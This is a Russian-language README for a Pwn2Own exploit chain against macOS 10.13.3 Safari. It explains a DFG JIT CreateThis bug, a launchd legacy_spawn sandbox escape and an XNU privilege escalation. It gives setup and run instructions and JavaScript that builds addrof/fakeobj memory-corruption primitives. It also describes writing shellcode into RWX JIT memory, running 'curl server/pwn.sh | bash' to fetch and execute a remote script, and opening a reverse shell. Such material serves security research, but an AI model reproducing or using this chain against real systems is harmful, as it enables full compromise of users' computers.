
A Pwn2Own exploit chain
RCE в Safari, выход из песочницы и LPE до ядра для macOS 10.13.3.
Установите nasm и tornado:
brew install nasm
pip3 install tornado
Проверьте config.py, если хотите изменить хост или порты. Затем запустите сервер с помощью ./server.py и перейдите по показанному URL.
Эта цепочка эксплойтов использует три разные ошибки, чтобы перейти от выполнения JavaScript-кода внутри Safari к выполнению кода в режиме ядра:
Цепочка эксплойтов реализована в виде шести стадий, каждая из которых находится в своём подкаталоге:
Каждый подкаталог (за исключением libspc/) содержит файл make.py, который при выполнении запускает все необходимые команды сборки и создаёт список файлов, которые будут раздаваться веб-сервером.
Цель: добиться выполнения шелл-кода внутри изолированного процесса WebContent
Используемая ошибка: некорректная оптимизация в JIT-компиляторе DFG
См. также этот доклад на BlackHat
JIT-компилятор DFG представляет JavaScript-код в своём собственном промежуточном представлении (IR) — графе потока данных (Data Flow Graph, DFG). Обычно одно JavaScript-выражение транслируется в одну или несколько IR-инструкций в этом графе. В случае функции-конструктора генерируется инструкция CreateThis, которая отвечает за выделение объекта this, создаваемого функцией. Например, функция function Consructor() {} при вызове с new была бы примерно транслирована в
v0 = CreateThis
return v0
Посмотрев на AbstractInterpreter, можно увидеть, что JIT-компилятор DFG предполагает, что операция CreateThis не вызовет никаких побочных эффектов, кроме выделения памяти в куче. В самом деле, этот код:
function Constructor(obj) {
return obj.x;
}
будет примерно транслирован в следующие DFG-инструкции:
(Здесь инструкция StructureCheck была перемещена в начало функции фазой TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Однако это предположение неверно, поскольку код на медленном пути (slow-path) для CreateThis в некоторых случаях может выполнять произвольный JavaScript-код. В частности, при использовании Proxy вокруг реальной функции ловушка get для свойства «prototype» будет вызвана во время обработчика медленного пути для CreateThis, поскольку ему нужно получить объект-прототип для создаваемого объекта:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Таким образом, теперь можно изменить Structure объекта без выполнения JIT-компилятором bailout.
Эту ошибку можно использовать для создания примитивов addrof и fakeobj следующим образом:
Мы компилируем код для случая JSArray с распакованными (unboxed) double-элементами, а затем в колбэке переключаемся на элементы JSValue. После этого JIT-код загрузит JSValue из массива, но интерпретирует эти биты как double и вернёт их нам. Следующий код присвоит адрес leakme свойству «address» создаваемого объекта.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Здесь мы действуем, по сути, наоборот: мы оптимизируем код для записи double в массив с распакованными (unboxed) double-элементами, а затем снова переключаемся на элементы JSValue в колбэке. Код продолжит записывать контролируемый нами double в распакованном виде в backing storage. Когда мы позже обратимся к этому элементу массива, он интерпретирует эти биты как JSValue, а не как double. Следующий код запишет распакованный double address в backing buffer массива a, откуда мы затем сможем прочитать его как JSValue, что позволяет нам «внедрять» JSValue по нашему выбору в движок.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
В итоге мы получаем возможность записать double и интерпретировать его как указатель на JSObject, и наоборот. Это можно эксплуатировать, как описано в атаке на JavaScript-движки.
Эксплойт сначала добивается произвольного чтения/записи памяти процесса, подделывая Float64Array, затем ищет JIT-область (отображённую с правами RWX) и записывает туда шелл-код стадии 1.
Цель: запустить стадию 2, записав .dylib на диск и загрузив его через dlopen()
Короткая полезная нагрузка на ассемблере, которая, по сути, делает следующее:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR), чтобы получить путь к доступному для записи каталогуdlopen()Цель: выйти из песочницы
Используемая ошибка: отсутствие проверок песочницы в API «legacy_spawn» в launchd
См. также этот доклад
Launchd предоставляет RPC-эндпоинт «legacy_spawn» как процедуру 817 в подсистеме 3. Этот API не проверяет, разрешено ли вызывающему процессу запускать процессы, и просто выполняет execve любого бинарника в системе от имени вызывающего с контролируемыми аргументами. Поскольку до launchd можно добраться через бутстрап-порт, это делает возможным выход из песочницы.
Эксплойт, по сути, выполняет curl server/pwn.sh | bash и таким образом передаёт управление стадии 3.
Цель: запустить калькулятор (pop calc) и подготовить запуск остальных стадий
Эта стадия выполняет open /Applications/Calculator.app и устанавливает reverse shell, затем загружает все файлы, необходимые для остальных стадий, и запускает эксплойты.
Цель: получить права root с помощью LPE-эксплойта
Используемая ошибка: MitM через бутстрап-порт в XNU
См. также этот доклад на POC